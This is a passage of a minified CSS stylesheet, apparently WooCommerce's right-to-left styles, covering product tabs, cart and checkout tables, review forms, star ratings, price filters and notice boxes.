li.active::before{box-shadow:-2px 2px 0 #fff}.woocommerce div.product .woocommerce-tabs ul.tabs li.active::after{box-shadow:2px 2px 0 #fff}.woocommerce div.product .woocommerce-tabs ul.tabs li::after,.woocommerce div.product .woocommerce-tabs ul.tabs li::before{border:1px solid #d3ced2;position:absolute;bottom:-1px;width:5px;height:5px;content:" ";box-sizing:border-box}.woocommerce div.product .woocommerce-tabs ul.tabs li::before{right:-5px;border-bottom-left-radius:4px;border-width:0 0 1px 1px;box-shadow:-2px 2px 0 #ebe9eb}.woocommerce div.product .woocommerce-tabs ul.tabs li::after{left:-5px;border-bottom-right-radius:4px;border-width:0 1px 1px 0;box-shadow:2px 2px 0 #ebe9eb}.woocommerce div.product .woocommerce-tabs ul.tabs::before{position:absolute;content:" ";width:100%;bottom:0;right:0;border-bottom:1px solid #d3ced2;z-index:1}.woocommerce div.product .woocommerce-tabs .panel{margin:0 0 2em;padding:0}.woocommerce div.product p.cart{margin-bottom:2em}.woocommerce div.product p.cart::after,.woocommerce div.product p.cart::before{content:" ";display:table}.woocommerce div.product p.cart::after{clear:both}.woocommerce div.product form.cart{margin-bottom:2em}.woocommerce div.product form.cart::after,.woocommerce div.product form.cart::before{content:" ";display:table}.woocommerce div.product form.cart::after{clear:both}.woocommerce div.product form.cart div.quantity{float:right;margin:0 0 0 4px}.woocommerce div.product form.cart table{border-width:0 0 1px}.woocommerce div.product form.cart table td{padding-right:0}.woocommerce div.product form.cart table div.quantity{float:none;margin:0}.woocommerce div.product form.cart table small.stock{display:block;float:none}.woocommerce div.product form.cart .variations{margin-bottom:1em;border:0;width:100%}.woocommerce div.product form.cart .variations td,.woocommerce div.product form.cart .variations th{border:0;vertical-align:top;line-height:2em}.woocommerce div.product form.cart .variations label{font-weight:700}.woocommerce div.product form.cart .variations select{max-width:100%;min-width:75%;display:inline-block;margin-left:1em}.woocommerce div.product form.cart .variations td.label{padding-left:1em}.woocommerce div.product form.cart .woocommerce-variation-description p{margin-bottom:1em}.woocommerce div.product form.cart .reset_variations{visibility:hidden;font-size:.83em}.woocommerce div.product form.cart .wc-no-matching-variations{display:none}.woocommerce div.product form.cart .button{vertical-align:middle;float:right}.woocommerce div.product form.cart .group_table td.woocommerce-grouped-product-list-item__label{padding-left:1em;padding-right:1em}.woocommerce div.product form.cart .group_table td{vertical-align:top;padding-bottom:.5em;border:0}.woocommerce div.product form.cart .group_table td:first-child{width:4em;text-align:center}.woocommerce div.product form.cart .group_table .wc-grouped-product-add-to-cart-checkbox{display:inline-block;width:auto;margin:0 auto;-webkit-transform:scale(1.5,1.5);-ms-transform:scale(1.5,1.5);transform:scale(1.5,1.5)}.woocommerce span.onsale{min-height:3.236em;min-width:3.236em;padding:.202em;font-size:1em;font-weight:700;position:absolute;text-align:center;line-height:3.236;top:-.5em;right:-.5em;margin:0;border-radius:100%;background-color:#77a464;color:#fff;font-size:.857em;z-index:9}.woocommerce .products ul,.woocommerce ul.products{margin:0 0 1em;padding:0;list-style:none outside;clear:both}.woocommerce .products ul::after,.woocommerce .products ul::before,.woocommerce ul.products::after,.woocommerce ul.products::before{content:" ";display:table}.woocommerce .products ul::after,.woocommerce ul.products::after{clear:both}.woocommerce .products ul li,.woocommerce ul.products li{list-style:none outside}.woocommerce ul.products li.product .onsale{top:0;left:0;right:auto;margin:-.5em 0 0 -.5em}.woocommerce ul.products li.product .woocommerce-loop-category__title,.woocommerce ul.products li.product .woocommerce-loop-product__title,.woocommerce ul.products li.product h3{padding:.5em 0;margin:0;font-size:1em}.woocommerce ul.products li.product a{text-decoration:none}.woocommerce ul.products li.product a img{width:100%;height:auto;display:block;margin:0 0 1em;box-shadow:none}.woocommerce ul.products li.product strong{display:block}.woocommerce ul.products li.product .woocommerce-placeholder{border:1px solid #f2f2f2}.woocommerce ul.products li.product .star-rating{font-size:.857em}.woocommerce ul.products li.product .button{margin-top:1em}.woocommerce ul.products li.product .price{color:#77a464;display:block;font-weight:400;margin-bottom:.5em;font-size:.857em}.woocommerce ul.products li.product .price del{color:inherit;opacity:.5;display:inline-block}.woocommerce ul.products li.product .price ins{background:0 0;font-weight:700;display:inline-block}.woocommerce ul.products li.product .price .from{font-size:.67em;margin:-2px 0 0 0;text-transform:uppercase;color:rgba(132,132,132,.5)}.woocommerce .woocommerce-result-count{margin:0 0 1em}.woocommerce .woocommerce-ordering{margin:0 0 1em}.woocommerce .woocommerce-ordering select{vertical-align:top}.woocommerce nav.woocommerce-pagination{text-align:center}.woocommerce nav.woocommerce-pagination ul{display:inline-block;white-space:nowrap;padding:0;clear:both;border:1px solid #d3ced2;border-left:0;margin:1px}.woocommerce nav.woocommerce-pagination ul li{border-left:1px solid #d3ced2;padding:0;margin:0;float:right;display:inline;overflow:hidden}.woocommerce nav.woocommerce-pagination ul li a,.woocommerce nav.woocommerce-pagination ul li span{margin:0;text-decoration:none;padding:0;line-height:1;font-size:1em;font-weight:400;padding:.5em;min-width:1em;display:block}.woocommerce nav.woocommerce-pagination ul li a:focus,.woocommerce nav.woocommerce-pagination ul li a:hover,.woocommerce nav.woocommerce-pagination ul li span.current{background:#ebe9eb;color:#8a7e88}.woocommerce #respond input#submit,.woocommerce a.button,.woocommerce button.button,.woocommerce input.button{font-size:100%;margin:0;line-height:1;cursor:pointer;position:relative;text-decoration:none;overflow:visible;padding:.618em 1em;font-weight:700;border-radius:3px;right:auto;color:#515151;background-color:#ebe9eb;border:0;display:inline-block;background-image:none;box-shadow:none;text-shadow:none}.woocommerce #respond input#submit.loading,.woocommerce a.button.loading,.woocommerce button.button.loading,.woocommerce input.button.loading{opacity:.25;padding-left:2.618em}.woocommerce #respond input#submit.loading::after,.woocommerce a.button.loading::after,.woocommerce button.button.loading::after,.woocommerce input.button.loading::after{font-family:WooCommerce;content:"\e01c";vertical-align:top;font-weight:400;position:absolute;top:.618em;left:1em;-webkit-animation:spin 2s linear infinite;animation:spin 2s linear infinite}.woocommerce #respond input#submit.added::after,.woocommerce a.button.added::after,.woocommerce button.button.added::after,.woocommerce input.button.added::after{font-family:WooCommerce;content:"\e017";margin-right:.53em;vertical-align:bottom}.woocommerce #respond input#submit:hover,.woocommerce a.button:hover,.woocommerce button.button:hover,.woocommerce input.button:hover{background-color:#dfdcde;text-decoration:none;background-image:none;color:#515151}.woocommerce #respond input#submit.alt,.woocommerce a.button.alt,.woocommerce button.button.alt,.woocommerce input.button.alt{background-color:#a46497;color:#fff;-webkit-font-smoothing:antialiased}.woocommerce #respond input#submit.alt:hover,.woocommerce a.button.alt:hover,.woocommerce button.button.alt:hover,.woocommerce input.button.alt:hover{background-color:#96588a;color:#fff}.woocommerce #respond input#submit.alt.disabled,.woocommerce #respond input#submit.alt.disabled:hover,.woocommerce #respond input#submit.alt:disabled,.woocommerce #respond input#submit.alt:disabled:hover,.woocommerce #respond input#submit.alt:disabled[disabled],.woocommerce #respond input#submit.alt:disabled[disabled]:hover,.woocommerce a.button.alt.disabled,.woocommerce a.button.alt.disabled:hover,.woocommerce a.button.alt:disabled,.woocommerce a.button.alt:disabled:hover,.woocommerce a.button.alt:disabled[disabled],.woocommerce a.button.alt:disabled[disabled]:hover,.woocommerce button.button.alt.disabled,.woocommerce button.button.alt.disabled:hover,.woocommerce button.button.alt:disabled,.woocommerce button.button.alt:disabled:hover,.woocommerce button.button.alt:disabled[disabled],.woocommerce button.button.alt:disabled[disabled]:hover,.woocommerce input.button.alt.disabled,.woocommerce input.button.alt.disabled:hover,.woocommerce input.button.alt:disabled,.woocommerce input.button.alt:disabled:hover,.woocommerce input.button.alt:disabled[disabled],.woocommerce input.button.alt:disabled[disabled]:hover{background-color:#a46497;color:#fff}.woocommerce #respond input#submit.disabled,.woocommerce #respond input#submit:disabled,.woocommerce #respond input#submit:disabled[disabled],.woocommerce a.button.disabled,.woocommerce a.button:disabled,.woocommerce a.button:disabled[disabled],.woocommerce button.button.disabled,.woocommerce button.button:disabled,.woocommerce button.button:disabled[disabled],.woocommerce input.button.disabled,.woocommerce input.button:disabled,.woocommerce input.button:disabled[disabled]{color:inherit;cursor:not-allowed;opacity:.5;padding:.618em 1em}.woocommerce #respond input#submit.disabled:hover,.woocommerce #respond input#submit:disabled:hover,.woocommerce #respond input#submit:disabled[disabled]:hover,.woocommerce a.button.disabled:hover,.woocommerce a.button:disabled:hover,.woocommerce a.button:disabled[disabled]:hover,.woocommerce button.button.disabled:hover,.woocommerce button.button:disabled:hover,.woocommerce button.button:disabled[disabled]:hover,.woocommerce input.button.disabled:hover,.woocommerce input.button:disabled:hover,.woocommerce input.button:disabled[disabled]:hover{color:inherit;background-color:#ebe9eb}.woocommerce .cart .button,.woocommerce .cart input.button{float:none}.woocommerce a.added_to_cart{padding-top:.5em;display:inline-block}.woocommerce #reviews h2 small{float:left;color:#767676;font-size:15px;margin:10px 0 0}.woocommerce #reviews h2 small a{text-decoration:none;color:#767676}.woocommerce #reviews h3{margin:0}.woocommerce #reviews #respond{margin:0;border:0;padding:0}.woocommerce #reviews #comment{height:75px}.woocommerce #reviews #comments .add_review::after,.woocommerce #reviews #comments .add_review::before{content:" ";display:table}.woocommerce #reviews #comments .add_review::after{clear:both}.woocommerce #reviews #comments h2{clear:none}.woocommerce #reviews #comments ol.commentlist{margin:0;width:100%;background:0 0;list-style:none}.woocommerce #reviews #comments ol.commentlist::after,.woocommerce #reviews #comments ol.commentlist::before{content:" ";display:table}.woocommerce #reviews #comments ol.commentlist::after{clear:both}.woocommerce #reviews #comments ol.commentlist li{padding:0;margin:0 0 20px;border:0;position:relative;background:100%;border:0}.woocommerce #reviews #comments ol.commentlist li .meta{color:#767676;font-size:.75em}.woocommerce #reviews #comments ol.commentlist li img.avatar{float:right;position:absolute;top:0;right:0;padding:3px;width:32px;height:auto;background:#ebe9eb;border:1px solid #e4e1e3;margin:0;box-shadow:none}.woocommerce #reviews #comments ol.commentlist li .comment-text{margin:0 50px 0 0;border:1px solid #e4e1e3;border-radius:4px;padding:1em 1em 0}.woocommerce #reviews #comments ol.commentlist li .comment-text::after,.woocommerce #reviews #comments ol.commentlist li .comment-text::before{content:" ";display:table}.woocommerce #reviews #comments ol.commentlist li .comment-text::after{clear:both}.woocommerce #reviews #comments ol.commentlist li .comment-text p{margin:0 0 1em}.woocommerce #reviews #comments ol.commentlist li .comment-text p.meta{font-size:.83em}.woocommerce #reviews #comments ol.commentlist ul.children{list-style:none outside;margin:20px 50px 0 0}.woocommerce #reviews #comments ol.commentlist ul.children .star-rating{display:none}.woocommerce #reviews #comments ol.commentlist #respond{border:1px solid #e4e1e3;border-radius:4px;padding:1em 1em 0;margin:20px 50px 0 0}.woocommerce #reviews #comments .commentlist>li::before{content:""}.woocommerce .star-rating{float:left;overflow:hidden;position:relative;height:1em;line-height:1;font-size:1em;width:5.4em;font-family:star}.woocommerce .star-rating::before{content:"\73\73\73\73\73";color:#d3ced2;float:right;top:0;right:0;position:absolute}.woocommerce .star-rating span{overflow:hidden;float:right;top:0;right:0;position:absolute;padding-top:1.5em}.woocommerce .star-rating span::before{content:"\53\53\53\53\53";top:0;position:absolute;right:0}.woocommerce .woocommerce-product-rating{line-height:2;display:block}.woocommerce .woocommerce-product-rating::after,.woocommerce .woocommerce-product-rating::before{content:" ";display:table}.woocommerce .woocommerce-product-rating::after{clear:both}.woocommerce .woocommerce-product-rating .star-rating{margin:.5em 0 0 4px;float:right}.woocommerce .products .star-rating{display:block;margin:0 0 .5em;float:none}.woocommerce .hreview-aggregate .star-rating{margin:10px 0 0}.woocommerce #review_form #respond{position:static;margin:0;width:auto;padding:0;background:transparent none;border:0}.woocommerce #review_form #respond::after,.woocommerce #review_form #respond::before{content:" ";display:table}.woocommerce #review_form #respond::after{clear:both}.woocommerce #review_form #respond p{margin:0 0 10px}.woocommerce #review_form #respond .form-submit input{right:auto}.woocommerce #review_form #respond textarea{box-sizing:border-box;width:100%}.woocommerce p.stars a{position:relative;height:1em;width:1em;text-indent:-999em;display:inline-block;text-decoration:none}.woocommerce p.stars a::before{display:block;position:absolute;top:0;right:0;width:1em;height:1em;line-height:1;font-family:WooCommerce;content:"\e021";text-indent:0}.woocommerce p.stars a:hover~a::before{content:"\e021"}.woocommerce p.stars:hover a::before{content:"\e020"}.woocommerce p.stars.selected a.active::before{content:"\e020"}.woocommerce p.stars.selected a.active~a::before{content:"\e021"}.woocommerce p.stars.selected a:not(.active)::before{content:"\e020"}.woocommerce table.shop_attributes{border:0;border-top:1px dotted rgba(0,0,0,.1);margin-bottom:1.618em;width:100%}.woocommerce table.shop_attributes th{width:150px;font-weight:700;padding:8px;border-top:0;border-bottom:1px dotted rgba(0,0,0,.1);margin:0;line-height:1.5}.woocommerce table.shop_attributes td{font-style:italic;padding:0;border-top:0;border-bottom:1px dotted rgba(0,0,0,.1);margin:0;line-height:1.5}.woocommerce table.shop_attributes td p{margin:0;padding:8px 0}.woocommerce table.shop_attributes tr:nth-child(even) td,.woocommerce table.shop_attributes tr:nth-child(even) th{background:rgba(0,0,0,.025)}.woocommerce table.shop_table{border:1px solid rgba(0,0,0,.1);margin:0 0 24px -1px;text-align:right;width:100%;border-collapse:separate;border-radius:5px}.woocommerce table.shop_table th{font-weight:700;padding:9px 12px;line-height:1.5em}.woocommerce table.shop_table td{border-top:1px solid rgba(0,0,0,.1);padding:9px 12px;vertical-align:middle;line-height:1.5em}.woocommerce table.shop_table td small{font-weight:400}.woocommerce table.shop_table td del{font-weight:400}.woocommerce table.shop_table tbody:first-child tr:first-child td,.woocommerce table.shop_table tbody:first-child tr:first-child th{border-top:0}.woocommerce table.shop_table tbody th,.woocommerce table.shop_table tfoot td,.woocommerce table.shop_table tfoot th{font-weight:700;border-top:1px solid rgba(0,0,0,.1)}.woocommerce table.my_account_orders{font-size:.85em}.woocommerce table.my_account_orders td,.woocommerce table.my_account_orders th{padding:4px 8px;vertical-align:middle}.woocommerce table.my_account_orders .button{white-space:nowrap}.woocommerce table.woocommerce-MyAccount-downloads td,.woocommerce table.woocommerce-MyAccount-downloads th{vertical-align:top;text-align:center}.woocommerce table.woocommerce-MyAccount-downloads td:first-child,.woocommerce table.woocommerce-MyAccount-downloads th:first-child{text-align:right}.woocommerce table.woocommerce-MyAccount-downloads td:last-child,.woocommerce table.woocommerce-MyAccount-downloads th:last-child{text-align:right}.woocommerce table.woocommerce-MyAccount-downloads td .woocommerce-MyAccount-downloads-file::before,.woocommerce table.woocommerce-MyAccount-downloads th .woocommerce-MyAccount-downloads-file::before{content:"\2193";display:inline-block}.woocommerce td.product-name .wc-item-meta,.woocommerce td.product-name dl.variation{list-style:none outside}.woocommerce td.product-name .wc-item-meta .wc-item-meta-label,.woocommerce td.product-name .wc-item-meta dt,.woocommerce td.product-name dl.variation .wc-item-meta-label,.woocommerce td.product-name dl.variation dt{float:right;clear:both;margin-left:.25em;display:inline-block;list-style:none outside}.woocommerce td.product-name .wc-item-meta dd,.woocommerce td.product-name dl.variation dd{margin:0}.woocommerce td.product-name .wc-item-meta p,.woocommerce td.product-name .wc-item-meta:last-child,.woocommerce td.product-name dl.variation p,.woocommerce td.product-name dl.variation:last-child{margin-bottom:0}.woocommerce td.product-name p.backorder_notification{font-size:.83em}.woocommerce td.product-quantity{min-width:80px}.woocommerce ul.cart_list,.woocommerce ul.product_list_widget{list-style:none outside;padding:0;margin:0}.woocommerce ul.cart_list li,.woocommerce ul.product_list_widget li{padding:4px 0;margin:0;list-style:none}.woocommerce ul.cart_list li::after,.woocommerce ul.cart_list li::before,.woocommerce ul.product_list_widget li::after,.woocommerce ul.product_list_widget li::before{content:" ";display:table}.woocommerce ul.cart_list li::after,.woocommerce ul.product_list_widget li::after{clear:both}.woocommerce ul.cart_list li a,.woocommerce ul.product_list_widget li a{display:block;font-weight:700}.woocommerce ul.cart_list li img,.woocommerce ul.product_list_widget li img{float:left;margin-right:4px;width:32px;height:auto;box-shadow:none}.woocommerce ul.cart_list li dl,.woocommerce ul.product_list_widget li dl{margin:0;padding-right:1em;border-right:2px solid rgba(0,0,0,.1)}.woocommerce ul.cart_list li dl::after,.woocommerce ul.cart_list li dl::before,.woocommerce ul.product_list_widget li dl::after,.woocommerce ul.product_list_widget li dl::before{content:" ";display:table}.woocommerce ul.cart_list li dl::after,.woocommerce ul.product_list_widget li dl::after{clear:both}.woocommerce ul.cart_list li dl dd,.woocommerce ul.cart_list li dl dt,.woocommerce ul.product_list_widget li dl dd,.woocommerce ul.product_list_widget li dl dt{display:inline-block;float:right;margin-bottom:1em}.woocommerce ul.cart_list li dl dt,.woocommerce ul.product_list_widget li dl dt{font-weight:700;padding:0 0 .25em;margin:0 0 0 4px;clear:right}.woocommerce ul.cart_list li dl dd,.woocommerce ul.product_list_widget li dl dd{padding:0 0 .25em}.woocommerce ul.cart_list li dl dd p:last-child,.woocommerce ul.product_list_widget li dl dd p:last-child{margin-bottom:0}.woocommerce ul.cart_list li .star-rating,.woocommerce ul.product_list_widget li .star-rating{float:none}.woocommerce .widget_shopping_cart .total,.woocommerce.widget_shopping_cart .total{border-top:3px double #ebe9eb;padding:4px 0 0}.woocommerce .widget_shopping_cart .total strong,.woocommerce.widget_shopping_cart .total strong{min-width:40px;display:inline-block}.woocommerce .widget_shopping_cart .cart_list li,.woocommerce.widget_shopping_cart .cart_list li{padding-right:2em;position:relative;padding-top:0}.woocommerce .widget_shopping_cart .cart_list li a.remove,.woocommerce.widget_shopping_cart .cart_list li a.remove{position:absolute;top:0;right:0}.woocommerce .widget_shopping_cart .buttons::after,.woocommerce .widget_shopping_cart .buttons::before,.woocommerce.widget_shopping_cart .buttons::after,.woocommerce.widget_shopping_cart .buttons::before{content:" ";display:table}.woocommerce .widget_shopping_cart .buttons::after,.woocommerce.widget_shopping_cart .buttons::after{clear:both}.woocommerce .widget_shopping_cart .buttons a,.woocommerce.widget_shopping_cart .buttons a{margin-left:5px;margin-bottom:5px}.woocommerce form .form-row{padding:3px;margin:0 0 6px}.woocommerce form .form-row [placeholder]:focus::-webkit-input-placeholder{-webkit-transition:opacity .5s .5s ease;transition:opacity .5s .5s ease;opacity:0}.woocommerce form .form-row label{line-height:2}.woocommerce form .form-row label.hidden{visibility:hidden}.woocommerce form .form-row label.inline{display:inline}.woocommerce form .form-row .woocommerce-input-wrapper .description{background:#1e85be;color:#fff;border-radius:3px;padding:1em;margin:.5em 0 0;clear:both;display:none;position:relative}.woocommerce form .form-row .woocommerce-input-wrapper .description a{color:#fff;text-decoration:underline;border:0;box-shadow:none}.woocommerce form .form-row .woocommerce-input-wrapper .description::before{right:50%;top:0;margin-top:-4px;-webkit-transform:translateX(50%) rotate(-180deg);-ms-transform:translateX(50%) rotate(-180deg);transform:translateX(50%) rotate(-180deg);content:"";position:absolute;border-width:4px 6px 0 6px;border-style:solid;border-color:#1e85be transparent transparent transparent;z-index:100;display:block}.woocommerce form .form-row select{cursor:pointer;margin:0}.woocommerce form .form-row .required{color:red;font-weight:700;border:0!important;text-decoration:none;visibility:hidden}.woocommerce form .form-row .optional{visibility:visible}.woocommerce form .form-row .input-checkbox{display:inline;margin:-2px 0 0 8px;text-align:center;vertical-align:middle}.woocommerce form .form-row input.input-text,.woocommerce form .form-row textarea{box-sizing:border-box;width:100%;margin:0;outline:0;line-height:normal}.woocommerce form .form-row textarea{height:4em;line-height:1.5;display:block;box-shadow:none}.woocommerce form .form-row .select2-container{width:100%;line-height:2em}.woocommerce form .form-row.woocommerce-invalid label{color:#a00}.woocommerce form .form-row.woocommerce-invalid .select2-container,.woocommerce form .form-row.woocommerce-invalid input.input-text,.woocommerce form .form-row.woocommerce-invalid select{border-color:#a00}.woocommerce form .form-row.woocommerce-validated .select2-container,.woocommerce form .form-row.woocommerce-validated input.input-text,.woocommerce form .form-row.woocommerce-validated select{border-color:#6dc22e}.woocommerce form .form-row ::-webkit-input-placeholder{line-height:normal}.woocommerce form .form-row :-moz-placeholder{line-height:normal}.woocommerce form .form-row :-ms-input-placeholder{line-height:normal}.woocommerce form.checkout_coupon,.woocommerce form.login,.woocommerce form.register{border:1px solid #d3ced2;padding:20px;margin:2em 0;text-align:right;border-radius:5px}.woocommerce ul#shipping_method{list-style:none outside;margin:0;padding:0}.woocommerce ul#shipping_method li{margin:0 0 .5em;line-height:1.5em;list-style:none outside}.woocommerce ul#shipping_method li input{margin:3px 0 0 .4375em;vertical-align:top}.woocommerce ul#shipping_method li label{display:inline}.woocommerce ul#shipping_method .amount{font-weight:700}.woocommerce p.woocommerce-shipping-contents{margin:0}.woocommerce ul.order_details{margin:0 0 3em;list-style:none}.woocommerce ul.order_details::after,.woocommerce ul.order_details::before{content:" ";display:table}.woocommerce ul.order_details::after{clear:both}.woocommerce ul.order_details li{float:right;margin-left:2em;text-transform:uppercase;font-size:.715em;line-height:1;border-left:1px dashed #d3ced2;padding-left:2em;margin-right:0;padding-right:0;list-style-type:none}.woocommerce ul.order_details li strong{display:block;font-size:1.4em;text-transform:none;line-height:1.5}.woocommerce ul.order_details li:last-of-type{border:none}.woocommerce .wc-bacs-bank-details-account-name{font-weight:700}.woocommerce .woocommerce-customer-details,.woocommerce .woocommerce-order-details,.woocommerce .woocommerce-order-downloads{margin-bottom:2em}.woocommerce .woocommerce-customer-details :last-child,.woocommerce .woocommerce-order-details :last-child,.woocommerce .woocommerce-order-downloads :last-child{margin-bottom:0}.woocommerce .woocommerce-customer-details address{font-style:normal;margin-bottom:0;border:1px solid rgba(0,0,0,.1);border-bottom-width:2px;border-left-width:2px;text-align:right;width:100%;border-radius:5px;padding:6px 12px}.woocommerce .woocommerce-customer-details .woocommerce-customer-details--email,.woocommerce .woocommerce-customer-details .woocommerce-customer-details--phone{margin-bottom:0;padding-right:1.5em}.woocommerce .woocommerce-customer-details .woocommerce-customer-details--phone::before{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-left:.618em;content:"";text-decoration:none;margin-right:-1.5em;line-height:1.75;position:absolute}.woocommerce .woocommerce-customer-details .woocommerce-customer-details--email::before{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-left:.618em;content:"";text-decoration:none;margin-right:-1.5em;line-height:1.75;position:absolute}.woocommerce .woocommerce-widget-layered-nav-list{margin:0;padding:0;border:0;list-style:none outside}.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item{padding:0 0 1px;list-style:none}.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::after,.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::before{content:" ";display:table}.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::after{clear:both}.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item a,.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item span{padding:1px 0}.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item--chosen a::before{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-left:.618em;content:"";text-decoration:none;color:#a00}.woocommerce .woocommerce-widget-layered-nav-dropdown__submit{margin-top:1em}.woocommerce .widget_layered_nav_filters ul{margin:0;padding:0;border:0;list-style:none outside;overflow:hidden;zoom:1}.woocommerce .widget_layered_nav_filters ul li{float:right;padding:0 1px 1px 1em;list-style:none}.woocommerce .widget_layered_nav_filters ul li a{text-decoration:none}.woocommerce .widget_layered_nav_filters ul li a::before{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-left:.618em;content:"";text-decoration:none;color:#a00;vertical-align:inherit;margin-left:.5em}.woocommerce .widget_price_filter .price_slider{margin-bottom:1em}.woocommerce .widget_price_filter .price_slider_amount{text-align:left;line-height:2.4;font-size:.8751em}.woocommerce .widget_price_filter .price_slider_amount .button{font-size:1.15em;float:right}.woocommerce .widget_price_filter .ui-slider{position:relative;text-align:right;margin-right:.5em;margin-left:.5em}.woocommerce .widget_price_filter .ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1em;height:1em;background-color:#a46497;border-radius:1em;cursor:ew-resize;outline:0;top:-.3em;margin-left:-.5em}.woocommerce .widget_price_filter .ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;border-radius:1em;background-color:#a46497}.woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content{border-radius:1em;background-color:#462940;border:0}.woocommerce .widget_price_filter .ui-slider-horizontal{height:.5em}.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range{top:0;height:100%}.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range-min{right:-1px}.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range-max{left:-1px}.woocommerce .widget_rating_filter ul{margin:0;padding:0;border:0;list-style:none outside}.woocommerce .widget_rating_filter ul li{padding:0 0 1px;list-style:none}.woocommerce .widget_rating_filter ul li::after,.woocommerce .widget_rating_filter ul li::before{content:" ";display:table}.woocommerce .widget_rating_filter ul li::after{clear:both}.woocommerce .widget_rating_filter ul li a{padding:1px 0;text-decoration:none}.woocommerce .widget_rating_filter ul li .star-rating{float:none;display:inline-block}.woocommerce .widget_rating_filter ul li.chosen a::before{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-left:.618em;content:"";text-decoration:none;color:#a00}.woocommerce .woocommerce-form-login .woocommerce-form-login__submit{float:right;margin-left:1em}.woocommerce .woocommerce-form-login .woocommerce-form-login__rememberme{display:inline-block}.woocommerce-no-js form.woocommerce-form-coupon,.woocommerce-no-js form.woocommerce-form-login{display:block!important}.woocommerce-no-js .showcoupon,.woocommerce-no-js .woocommerce-form-coupon-toggle,.woocommerce-no-js .woocommerce-form-login-toggle{display:none!important}.woocommerce-error,.woocommerce-info,.woocommerce-message{padding:1em 3.5em 1em 2em;margin:0 0 2em;position:relative;background-color:#f7f6f7;color:#515151;border-top:3px solid #a46497;list-style:none outside;width:auto;word-wrap:break-word}.woocommerce-error::after,.woocommerce-error::before,.woocommerce-info::after,.woocommerce-info::before,.woocommerce-message::after,.woocommerce-message::before{content:" ";display:table}.woocommerce-error::after,.woocommerce-info::after,.woocommerce-message::after{clear:both}.woocommerce-error::before,.woocommerce-info::before,.woocommerce-message::before{font-family:WooCommerce;content:"\e028";display:inline-block;position:absolute;top:1em;right:1.5em}.woocommerce-error .button,.woocommerce-info .button,.woocommerce-message .button{float:left}.woocommerce-error li,.woocommerce-info li,.woocommerce-message li{list-style:none outside!important;padding-right:0!important;margin-right:0!important}.rtl.woocommerce .price_label,.rtl.woocommerce .price_label span{direction:ltr;unicode-bidi:embed}.woocommerce-message{border-top-color:#8fae1b}.woocommerce-message::before{content:"\e015";color:#8fae1b}.woocommerce-info{border-top-color:#1e85be}.woocommerce-info::before{color:#1e85be}.woocommerce-error{border-top-color:#b81c23}.woocommerce-error::before{content:"\e016";color:#b81c23}.woocommerce-account .woocommerce::after,.woocommerce-account .woocommerce::before{content:" ";display:table}.woocommerce-account .woocommerce::after{clear:both}.woocommerce-account .addresses .title::after,.woocommerce-account .addresses .title::before{content:" ";display:table}.woocommerce-account .addresses .title::after{clear:both}.woocommerce-account .addresses .title h3{float:right}.woocommerce-account .addresses .title .edit{float:left}.woocommerce-account ol.commentlist.notes li.note p.meta{font-weight:700;margin-bottom:0}.woocommerce-account ol.commentlist.notes li.note .description p:last-child{margin-bottom:0}.woocommerce-account ul.digital-downloads{margin-right:0;padding-right:0}.woocommerce-account ul.digital-downloads li{list-style:none;margin-right:0;padding-right:0}.woocommerce-account ul.digital-downloads li::before{font-family:WooCommerce;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;margin-left:.618em;content:"";text-decoration:none}.woocommerce-account ul.digital-downloads li .count{float:left}#add_payment_method table.cart .product-thumbnail,.woocommerce-cart table.cart .product-thumbnail,.woocommerce-checkout table.cart .product-thumbnail{min-width:32px}#add_payment_method table.cart img,.woocommerce-cart table.cart img,.woocommerce-checkout table.cart img{width:32px;box-shadow:none}#add_payment_method table.cart td,#add_payment_method table.cart th,.woocommerce-cart table.cart td,.woocommerce-cart table.cart th,.woocommerce-checkout table.cart td,.woocommerce-checkout table.cart th{vertical-align:middle}#add_payment_method table.cart td.actions .coupon .input-text,.woocommerce-cart table.cart td.actions .coupon .input-text,.woocommerce-checkout table.cart td.actions .coupon .input-text{float:right;box-sizing:border-box;border:1px solid #d3ced2;padding:6px 6px 5px;margin:0 0 0 4px;outline:0}#add_payment_method table.cart input,.woocommerce-cart table.cart input,.woocommerce-checkout table.cart input{margin:0;vertical-align:middle}#add_payment_method .wc-proceed-to-checkout,.woocommerce-cart .wc-proceed-to-checkout,.woocommerce-checkout .wc-proceed-to-checkout{padding:1em 0}#add_payment_method .wc-proceed-to-checkout::after,#add_payment_method .wc-proceed-to-checkout::before,.woocommerce-cart .wc-proceed-to-checkout::after,.woocommerce-cart .wc-proceed-to-checkout::before,.woocommerce-checkout .wc-proceed-to-checkout::after,.woocommerce-checkout .wc-proceed-to-checkout::before{content:" ";display:table}#add_payment_method .wc-proceed-to-checkout::after,.woocommerce-cart .wc-proceed-to-checkout::after,.woocommerce-checkout .wc-proceed-to-checkout::after{clear:both}#add_payment_method .wc-proceed-to-checkout a.checkout-button,.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button{display:block;text-align:center;margin-bottom:1em;font-size:1.25em;padding:1em}#add_payment_method .cart-collaterals 